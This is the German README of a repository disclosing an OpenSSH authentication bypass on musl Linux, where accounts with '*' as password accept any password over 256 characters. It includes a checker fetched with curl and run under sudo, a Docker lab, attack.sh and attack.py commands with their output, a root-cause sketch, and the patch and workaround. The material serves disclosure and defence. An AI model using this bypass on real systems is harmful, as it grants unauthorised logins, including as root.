
openssh unter musl akzeptierte jedes Passwort mit 257+ Zeichen für Konten ohne Passwort. seit 2016. check.sh, poc, patch.
openssh unter musl linux (alpine, openwrt, buildroot, yocto) ermöglicht es dir, dich bei jedem Konto anzumelden, das * als Passwort hat, und zwar mit einem beliebigen Passwort, das länger als 256 Zeichen ist. das betrifft root, Nutzer mit ausschließlich Schlüssel-Authentifizierung, ldap-Nutzer, den alpine-Nutzer auf alpines Cloud-Images. seit 2016.
die vollständige Geschichte steht auf sshhole.com. dieses Repo enthält das Skript, um deinen eigenen Rechner zu prüfen, ein Docker-Setup, um es selbst auszuprobieren, und den Patch.
behoben in openssh 10.6p2 am 2026-11-05. alpine-Pakete sind verfügbar.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
du bist nur betroffen, wenn alle diese Bedingungen zutreffen. das Skript sagt dir, welche fehlt, wenn du nicht betroffen bist:
openssh-server-Paket von alpine ist es. openssh-server-pam mit UsePAM yes ist sicherPasswordAuthentication yes in sshd_config (das ist der Standard)* als Passwortfeld$5$- oder $6$-Passwort-Hash (irgendjemand, egal wer, hat passwd ausgeführt)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: nicht betroffen. du kannst aufhören zu lesen.
du brauchst docker. dies baut ein normales alpine 3.24 mit openssh-server und der Standardkonfiguration. alice hat *, bob hat ein echtes Passwort.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
zwei Prompts. der erste beliebig, der zweite 300 x A. das ist der Exploit.
root funktioniert ebenfalls, wenn PermitRootLogin yes gesetzt ist:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py macht dasselbe mit paramiko und lässt dich die Passwortlänge wählen, sodass du sehen kannst, dass 256 fehlschlägt und 257 funktioniert:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
für ältere Alpine-Versionen: docker build --build-arg BASE=alpine:3.21 -t sshhole . funktioniert mindestens bis zurück zu 3.18. Die älteste Version, die wir ausprobiert haben, war openssh 7.5p1 auf musl 1.1.16 aus dem Jahr 2017, und auch dort funktionierte es.
patch/4353fdc43-avoid-password-authn-bypass.patch ist der unveränderte Upstream-Fix, falls du ihn auf eine ältere Version anwenden musst. Er funktioniert auf allem ab 7.3p1. Er bewirkt, dass sshd den Vergleich überspringt, wenn das gespeicherte Feld zu kurz ist, um ein echter Hash zu sein, und er verwendet außerdem keinen Zeiger mehr in den statischen Puffer von libc.
Wenn du jetzt nicht aktualisieren kannst, setze PasswordAuthentication no in sshd_config. Das schließt die Lücke vollständig.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd vergleicht seit den 90ern auf diese Weise mit *. musl begann 2012, bei Fehlschlag * zurückzugeben. sshd begann 2016, die Salts anderer Konten zu verwenden. siehe die Zeitleiste.
das vollständige Test-Setup (17 Umgebungen: Cloud-Image in qemu, openwrt, buildroot, ldap- und ad-Benutzer und so weiter), die Prävalenzzahlen und die Tabelle pro Distribution befinden sich im Write-up. sie werden möglicherweise später veröffentlicht. dieses Repo ist absichtlich klein gehalten.
mit-Lizenz.